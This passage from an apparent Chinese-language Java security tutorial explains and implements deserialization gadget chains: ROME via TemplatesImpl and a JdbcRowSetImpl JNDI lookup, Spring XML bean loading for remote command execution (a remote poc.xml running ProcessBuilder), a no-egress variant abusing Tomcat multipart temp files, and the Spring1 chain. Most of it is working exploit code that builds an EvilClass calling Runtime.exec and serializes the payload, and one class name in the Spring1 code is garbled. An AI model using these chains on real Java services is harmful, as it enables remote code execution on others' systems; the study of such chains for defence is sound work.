ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}


private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

另外根据前面的分析,toString → getterhashCode → toString 本质上相当于借助 ToStringBeanEqualsBean 来触发的,只不过外层都被包装成了 ObjectBean,因此我们可以写得更直接一些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

ToStringBean innerBean = new ToStringBean(Templates.class, templates);
EqualsBean outerBean = new EqualsBean(ToStringBean.class, innerBean);

HashSet triggerSet = new HashSet();
triggerSet.add(outerBean);

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return triggerSet;
}

JNDI

com.sun.rowset.JdbcRowSetImpl#setAutoCommit 函数可以调用到 JNDI 的 javax.naming.InitialContext#lookup 函数,但 ROME 链是触发 getter 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* 为该 <code>JdbcRowSet</code> 所使用的内部 <code>Connection</code> 设置自动提交(auto-commit)。
*
* @param autoCommit 是否开启自动提交
* @throws SQLException 当发生数据库访问错误时抛出
*/
public void setAutoCommit(boolean autoCommit) throws SQLException {
if (conn != null) { // 📌 确保 conn 为空
// [...]
} else {
// 走到这里说明当前连接对象为 null
// 因为 JdbcRowSet 始终应当连接到数据库,这里内部创建一个连接句柄是合理的
conn = connect(); // 👈 调用这个函数

// [...]
}
}

/**
* 建立并返回一个 JDBC 连接。
* 优先复用已有连接;否则按 dataSourceName(JNDI)或其他配置创建。
*
* @return 可用的 Connection
* @throws SQLException 获取连接失败时抛出
*/
private Connection connect() throws SQLException {

// 获取 JDBC 连接

if (conn != null) { // 📌 确保 conn 为空
// [...]
} else if (getDataSourceName() != null) {

// 通过 JNDI 查找数据源并获取连接
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(getDataSourceName());

// [...]
} catch (javax.naming.NamingException ex) {
// 将命名异常包装为 SQL 异常,统一语义
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString(), ex);
}
}
// [...]
}

public String getDataSourceName() {
return dataSource;
}

但实际上在 JdbcRowSetImpl 类里搜索 this.connect(),还存在一个方法 getDatabaseMetaData

1
2
3
4
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection con = connect();
return con.getMetaData();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashSet;

public class ROME {
static Object getObject(String url) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

ObjectBean innerBean = new ObjectBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean outerBean = new ObjectBean(ObjectBean.class, innerBean);

HashSet triggerSet = new HashSet();
triggerSet.add(outerBean);

jdbcRowSet.setDataSourceName(url);

return triggerSet;
}

public static byte[] getPayload(String url) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(url));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("ldap://127.0.0.1:8099/aaa");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

Spring

XML 配置 RCE

Spring XML Bean

Spring 的 XML 本质是在描述“怎么把对象造出来(实例化)怎么给它注入参数(构造器/Setter/集合)、以及在合适的生命周期点调用哪些方法”。

XML 装配过程

Spring XML 装配时会有如下过程:

  1. 实例化:按 <bean class="...">factory-method 创建对象
  2. 注入:按 <constructor-arg><property>、集合(<list>/<map> 等)把参数塞进去
  3. 初始化回调:执行 init-methodInitializingBean#afterPropertiesSet()、各类 *PostProcessor(这一步就可能“执行方法”)
  4. 销毁回调(容器关闭时):destroy-methodDisposableBean#destroy()

常用语法

这里主要介绍与命令执行相关的语法。

实例化类

对于明了的一个 <bean> 标签,Spring 在解析时会实例化一个对应的对象。

Spring 实例化 Bean 主要有三条路径:

<bean> 里的属性 构造方式 调用形式 constructor-arg 的作用
只有 class="..."没有 factory-method / factory-bean 构造函数 new Class(arg1, arg2, ...) 传给构造器的参数
写了 class="..." 并且 factory-method="..."没有 factory-bean 静态工厂方法 Class.factoryMethod(arg1, arg2, ...) 传给静态工厂方法的参数
写了 factory-bean="beanId" 并且 factory-method="..." 实例工厂方法 ctx.getBean("beanId").factoryMethod(arg1, arg2, ...) 传给实例工厂方法的参数

例如下面这个 <bean> 会通过调用调用构造函数的形式实例化 example.Engine

1
2
3
4
5
<bean id="engine" class="example.Engine">
<constructor-arg index="0" value="150"/> <!-- 按位置/类型/名字都可以 -->
<!-- <constructor-arg type="int" value="150"/> -->
<!-- <constructor-arg name="horsepower" value="150"/> -->
</bean>

在实例化对象的过程中还需要给对象初始化属性,除了构造函数的参数外,还有可以通过 Setter 注入(属性注入):

1
2
3
4
<bean id="car" class="example.Car" init-method="init">
<property name="engine" ref="engine"/> <!-- 注入另一个 bean -->
<property name="brand" value="SpringCar"/> <!-- 注入字面量 -->
</bean>

注入的参数支持列表等常见容器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<bean id="catalog" class="example.Catalog">
<property name="tags">
<list>
<value>eco</value>
<value>sport</value>
</list>
</property>
<property name="settings">
<map>
<entry key="endpoint" value="https://api.example.com"/>
<entry key="timeoutMs" value="2000"/>
</map>
</property>
</bean>
调用方法
  • init-method / destroy-method(生命周期回调)

    1
    <bean id="car" class="example.Car" init-method="init" destroy-method="shutdown"/>

    容器刷新时会调 car.init();容器关闭时调 car.shutdown()

  • factory-method / factory-bean(工厂方法)

    • 静态工厂方法

      1
      <bean id="clock" class="java.time.Clock" factory-method="systemUTC"/>

      解释:不是 new Clock(),而是调用 Clock.systemUTC()静态)。

    • 实例工厂方法

      1
      2
      3
      4
      5
      <bean id="factory" class="example.MyFactory"/>
      <bean id="product"
      factory-bean="factory" factory-method="createProduct">
      <constructor-arg value="demo"/>
      </bean>

      解释:先 new MyFactory(),再调实例方法 factory.createProduct("demo")

  • MethodInvokingFactoryBean(把“方法的返回值”当成 bean)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <!-- 调用静态方法:Instant.now() -->
    <bean id="now" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="targetClass" value="java.time.Instant"/>
    <property name="targetMethod" value="now"/>
    </bean>

    <!-- 或调用对象方法:uuid.toString() -->
    <bean id="uuid" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="targetClass" value="java.util.UUID"/>
    <property name="targetMethod" value="randomUUID"/>
    </bean>
    <bean id="uuidStr" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="targetObject" ref="uuid"/>
    <property name="targetMethod" value="toString"/>
    </bean>
  • SpEL 表达式

    XML Bean 中的属性支持 SpEL 表达式,因此我们可以将 SpEL 表达式应用进来。

    1
    <property name="greeting" value="#{'Hello, ' + @userService.defaultName()}"/>

出网利用

在 spring 中有下面两个函数用来读一份(或多份)Spring XML 配置,然后创建并管理里边定义的 bean(实例化、依赖注入、调用初始化/销毁回调等):

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

其中:

  • ClassPathXmlApplicationContext 默认从 classpath 读取 XML(打包在 jar 或 target/classes 里的资源)。适合“应用自带的内置配置”;
  • FileSystemXmlApplicationContext 默认从文件系统 读取 XML(磁盘路径,如 /etc/app/beans.xml)。适合“外置、可替换的配置”。

也就是说二者区别关键在“没写前缀时默认去哪找”,除此之外二者没有什么区别。在 Java 安全中如果我们能调用任意类的单参数构造函数且参数可控我们就可以考虑利用这两个函数加载 Spring XML 配置实现 RCE

首先构造一个加载即可 RCE 的 Spring XML Bean 配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="foo" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>

这个配置文件加载后等价于执行下面这段代码:

1
2
ProcessBuilder foo = new ProcessBuilder(Arrays.asList("cmd", "/c", "calc.exe"));
foo.start();

提示

这里用的是 <list>,所以 Spring 选的是 ProcessBuilder(List<String> command) 这个构造器。

如果 XML 写成 <constructor-arg value="calc"/>,那会走 ProcessBuilder(String... command)(可变参数)构造器,相当于 new ProcessBuilder("calc").start();

CDATA 包住值可以确保把这段文本“按原样”交给 Spring/XML 解析器,不让它当作 XML 标记去处理,也免去手动转义

此时想办法执行下面任意一行代码的等效代码即可加载远程的 poc.xml 实现任意命令执行。

1
2
new org.springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
new org.springframework.context.support.FileSystemXmlApplicationContext("http://127.0.0.1:8000/poc.xml");

不出网利用

ClassPathXmlApplicationContext 所有的构造函数最后都会进入下面这个构造函数中:

1
2
3
4
5
6
7
8
9
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent)
throws BeansException {

super(parent);
setConfigLocations(configLocations);
if (refresh) {
refresh();
}
}

其中 setConfigLocationsrefresh 两个函数比较重要。前者用于将 URL 设置到当前对象中,后者用于刷新 Spring 配置。也就是说,最后执行任意命令,一定是在 refresh 函数中。

通配符匹配路径

refresh 开始会调用到 org.springframework.core.io.support.PathMatchingResourcePatternResolver#getResources 函数中,调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
at org.springframework.core.io.support.PathMatchingResourcePatternResolver.getResources(PathMatchingResourcePatternResolver.java:268)
at org.springframework.context.support.AbstractApplicationContext.getResources(AbstractApplicationContext.java:1159)
at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:216)
at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188)
at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:252)
at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:127)
at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:93)
at org.springframework.context.support.AbstractRefreshableApplicationContext.refreshBeanFactory(AbstractRefreshableApplicationContext.java:129)
at org.springframework.context.support.AbstractApplicationContext.obtainFreshBeanFactory(AbstractApplicationContext.java:537)
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:452)
at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:139)
at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:83)

getResources 函数,locationPattern 是用户传入的 url,在处理路径前会经过 isPattern() 的判断,如果返回是 true,则会进入 this.findPathMatchingResources(locationPattern) 的处理,否则就直接读取资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// 表示“从所有 classpath 位置上加载资源”的前缀(可出现在依赖的多个 jar、classes 目录中)
String CLASSPATH_ALL_URL_PREFIX = "classpath*:";

/**
* 根据位置模式(locationPattern)解析并返回 Resource 数组。
* 支持:
* 1) "classpath*:" 前缀:从所有 classpath 位置聚合匹配(可能返回多个资源)
* 2) 其它带协议前缀的路径(如 "classpath:", "file:", "http:" 等)
* 3) Ant 风格通配符模式:*, **, ?
*/
public Resource[] getResources(String locationPattern) throws IOException {
// 位置模式不能为空
Assert.notNull(locationPattern, "Location pattern must not be null");

// 情况一:以 "classpath*:" 开头 → 需要在“所有” classpath 位置上找
if (locationPattern.startsWith(CLASSPATH_ALL_URL_PREFIX)) {

// 去掉 "classpath*:" 前缀后,只对后半段做“是否是模式”的判断
// 例如 "classpath*:META-INF/*.xml" → 是“模式”
if (getPathMatcher().isPattern(
locationPattern.substring(CLASSPATH_ALL_URL_PREFIX.length()))) {

// 1.1 classpath 聚合 + 模式匹配(Ant 风格) → 返回所有匹配到的资源
return findPathMatchingResources(locationPattern);
}
else {
// 1.2 不是模式:按“同名资源聚合”处理
// 例如 "classpath*:application.properties"
// 会把所有依赖里同名的 application.properties 全部找出来
return findAllClassPathResources(
locationPattern.substring(CLASSPATH_ALL_URL_PREFIX.length()));
}
}
else {
// 情况二:非 "classpath*:" 前缀
// 只在“前缀之后”的部分判断是否包含模式(避免把协议里的特殊符号误当成模式字符)
// 例如 "file:/opt/a*b":冒号之前是 "file:",不要把其中的字符当通配符
int prefixEnd = locationPattern.indexOf(":") + 1; // 若没有冒号,结果为 0

// 前缀后的部分如果是模式(包含 *, **, ? 等)
if (getPathMatcher().isPattern(locationPattern.substring(prefixEnd))) {

// 2.1 带模式的路径(可能是 file:, classpath:, http: 等)→ 走模式匹配
return findPathMatchingResources(locationPattern);
}
else {
// 2.2 非模式:按“单一资源”解析
// 交给 ResourceLoader 解析(支持 classpath:, file:, http: 等协议)
return new Resource[] {
getResourceLoader().getResource(locationPattern)
};
}
}
}

这里 isPattern 实际上调用的是 org.springframework.util.AntPathMatcher#isPattern 方法,也就是说,url 中是支持使用通配符的。

1
2
3
public boolean isPattern(String path) {
return (path.indexOf('*') != -1 || path.indexOf('?') != -1);
}

Tomcat 在处理 Servlet 3.x 的 multipart/form-data 时,几乎把“每一个 Part(不管是文件字段还是普通表单字段)”都先落到临时文件,命名类似:upload_<GUID>_<number>.tmp

  • **<GUID>**:Tomcat 进程启动时生成、在该进程内唯一且固定的一段标识(便于区分不同进程的临时文件)。
  • <number>:一个单调递增的序号,每处理一个 Part 就 +1。

Tomcat 安装目录定位

对于不同方式启动的 Tomcat,临时文件的位置不尽相同。阅读 Tomcat 代码我们可以发现,这个临时文件所在的位置应该位于 Tomcat 安装目录下的 work 目录下。

但对于单文件 Springboot 来说,此时 Tomcat 是嵌入式的并不存在安装目录,所以此时临时文件将会存储在系统临时目录下的一个子目录中的 work 目录下。

ClassPathXmlApplicationContext 调用的 setConfigLocations 函数可以一直调用到 org.springframework.util.PropertyPlaceholderHelper#parseStringValue 函数。

1
2
3
4
5
6
7
8
9
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:132)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.core.env.AbstractPropertyResolver.doResolvePlaceholders(AbstractPropertyResolver.java:204)
at org.springframework.core.env.AbstractPropertyResolver.resolveRequiredPlaceholders(AbstractPropertyResolver.java:178)
at org.springframework.core.env.AbstractEnvironment.resolveRequiredPlaceholders(AbstractEnvironment.java:551)
at org.springframework.context.support.AbstractRefreshableConfigApplicationContext.resolvePath(AbstractRefreshableConfigApplicationContext.java:122)
at org.springframework.context.support.AbstractRefreshableConfigApplicationContext.setConfigLocations(AbstractRefreshableConfigApplicationContext.java:80)
at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:137)
at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:83)

这个函数会对传入 ClassPathXmlApplicationContext 的 URL 渲染一次环境变量。

1
2
3
4
5
6
7
8
9
10
11
/**
* 将字符串中形如 ${name} 的占位符替换成给定 PlaceholderResolver 返回的值。
* @param value 含占位符的原始字符串
* @param placeholderResolver 用于根据占位符名解析实际值的解析器
* @return 替换完成后的字符串
*/
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
// visitedPlaceholders 用于检测循环引用(例如 ${a} -> ${b} -> ${a})
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}

${catalina.home} 这个环境变量就指向 Tomcat 的安装目录,直接使用这个变量就可以避免环境差异导致的问题。

反序列化链

Spring1

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
at java.lang.ClassLoader.defineClass(ClassLoader.java:642)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:142)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:346)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:383)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke(AutowireUtils.java:307)
at com.sun.proxy.$Proxy1.newTransformer(Unknown Source:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:202)
at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:187)
at org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(SerializableTypeWrapper.java:404)

原理分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 通过“调用某个无参方法”来提供类型信息的实现。
// 设计要点:将“提供者 provider + 要调用的方法名 methodName + 下标 index”序列化保存;
// 运行期把 provider.getType() 作为目标对象,反射调用指定方法,结果缓存到 result。
// 注意:result 标为 transient,不参与序列化,反序列化后在 readObject() 里重新计算。
static class MethodInvokeTypeProvider implements TypeProvider {

// 上游的 TypeProvider,对外提供一个“目标对象”(后续在其上反射调用方法)
private final TypeProvider provider;

// 需要反射调用的方法名(无参方法)
private final String methodName;

// 类型下标(用途取决于外部逻辑,比如选择第几个泛型参数等)
private final int index;

// 缓存反射调用得到的结果;transient 表示不序列化(派生值,反序列化后再计算)
private transient Object result;

// 构造时:记录 provider / 方法名 / 下标,并立刻执行一次反射调用得到初始 result
public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName(); // 仅保存方法名(无参),便于后续反序列化恢复
this.index = index;
// 在 provider.getType() 返回的对象上调用给定 method(无参),并缓存结果
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}

// [...]

// 自定义反序列化钩子:还原非 transient 字段后,重新定位并调用同名无参方法,恢复 result
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject(); // 读取非 transient 字段:provider、methodName、index

// 在 provider.getType() 的运行时类上,查找同名的“无参方法”
// Spring 的 ReflectionUtils.findMethod(clazz, name) 会匹配无参方法(沿继承层级查找)
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);

// 重新在目标对象(provider.getType())上调用该方法,恢复派生字段 result
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}

org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProviderreadObject 会调用 this.provider.getType() 返回对象的 this.methodName 指定的无参方法。

provider 作为 org.springframework.core.SerializableTypeWrapper$TypeProvider 接口的实现类,getType 方法返回的对象类型是 java.lang.reflect.Type 接口的实现类。

1
2
3
4
5
6
7
8
9
10
11
12
static interface TypeProvider extends Serializable {

/**
* Return the (possibly non {@link Serializable}) {@link Type}.
*/
Type getType();

/**
* Return the source of the type or {@code null}.
*/
Object getSource();
}

我们的目标是:

  • this.MethodNamenewTransformergetOutputProperties(这两个都是 public 方法,findMethodinvokeMethod 都没有设置 Method 的可访问性);
  • this.provider.getType() 返回 TemplatesImpl

这个可以通过动态代理实现。

sun.reflect.annotation.AnnotationInvocationHandlerinvoke 方法会根据方法名从 memberValues 中查询对应的对象返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}
}

因此我们可以通过 AnnotationInvocationHandler 代理接口实现任意对象返回。

然而我们并不能直接通过 AnnotationInvocationHandler 代理 TypeProvider 接口并设置 getType 方法返回 TemplatesImpl

这是因为 JDK 的 Proxy 会为接口方法生成类似这样的桩代码:

1
2
3
public final Type getType() {
return (Type) h.invoke(this, m_getType, null); // 注意这里的强转
}

也就是说,无论你的 InvocationHandler 返回什么,这里都会被强制转成 Type
TemplatesImpl 并不实现 java.lang.reflect.Type,因此会立刻抛:

1
2
3
java.lang.ClassCastException:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
cannot be cast to java.lang.reflect.Type

为此我们需要让 AnnotationInvocationHandler 代理的动态代理在调用到 getType 方法时再返回一个动态代理,然后该动态代理实现 Type 接口并且由 org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 代理。

ObjectFactoryDelegatingInvocationHandlerinvoke 方法会把方法调用委派给 objectFactory#getObject() 获取到的对象,因此我们只需要让 ObjectFactory#getObject 返回 TemplatesImpl 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {

private final ObjectFactory<?> objectFactory;

public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
// Only consider equal when proxies are identical.
return (proxy == args[0]);
}
else if (methodName.equals("hashCode")) {
// Use hashCode of proxy.
return System.identityHashCode(proxy);
}
else if (methodName.equals("toString")) {
return this.objectFactory.toString();
}
try {
return method.invoke(this.objectFactory.getObject(), args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
}

为此我们需要将 objectFactory 继续套一层动态代理,代理 ObjectFactory<?> 泛型接口,利用 AnnotationInvocationHandler 返回 TemplatesImpl

提示

另一种思路是寻找 ObjectFactory 的实现类满足:

  • 实现 Serializable 接口;
  • 反序列化后的对象的 getObject 返回值可控。

然而实际上对于 ObjectFactory 这个接口来说暂时没有发现满足上述条件的实现类,因此采用了代理这种更加复杂的实现方式。

而后续的 Spring2 利用链则是寻找了 ObjectFactoryDelegatingInvocationHandler 的替代品 JdkDynamicAopProxy。这个类的 invoke 方法将方法调用转发到 SingletonTargetSource 对象的 getTarget 方法返回的对象上。由于这里返回的对象可控,因此可以缩短反序列化链。

利用代码

高版本 JDK 的 AnnotationInvocationHandler 反序列化逻辑变了,导致该利用链失效(暂未深究)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Spring1 {
public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Class AIHClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstruct = AIHClazz.getDeclaredConstructor(Class.class, Map.class);
AIHConstruct.setAccessible(true);

Class OFDIHClazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor OFDIHConstruct = OFDIHClazz.getDeclaredConstructor(ObjectFactory.class);
OFDIHConstruct.setAccessible(true);

// 对于 getObject 方法调用返回 TemplatesImpl
Map getObjectMap = new HashMap();
getObjectMap.put("getObject", templates);
InvocationHandler getObjectHandler = (InvocationHandler) AIHConstruct.newInstance(Target.class, getObjectMap);
ObjectFactory getObjectProxy = (ObjectFactory) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{ObjectFactory.class},
getObjectHandler
);

// 满足 Type 和 Templates 类型要求,且利用 OFDIH 将方法调用转发给 getObjectProxy.getObject() 的返回对象
InvocationHandler typeHandler = (InvocationHandler) OFDIHConstruct.newInstance(getObjectProxy);
Type typeProxy = (Type) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class},
typeHandler
);

// 针对 getType 方法调用返回 typeProxy
Map getTypeMap = new HashMap();
getTypeMap.put("getType", typeProxy);
Class typeProviderClazz = Class.forName("org.springframework.core.lizableTypeWrapper$TypeProvider");
InvocationHandler getTypeHandler = (InvocationHandler) AIHConstruct.newInstance(Target.class, getTypeMap);
Object getTypeProxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClazz},
getTypeHandler
);

Class MITPClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor MITPConstructor = MITPClazz.getDeclaredConstructor(typeProviderClazz, Method.class, int.class);
MITPConstructor.setAccessible(true);

Object MITP = MITPConstructor.newInstance(getTypeProxy, Object.class.getMethod("toString"), 0);
setFieldValue(MITP, "methodName", "newTransformer");

return MITP;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

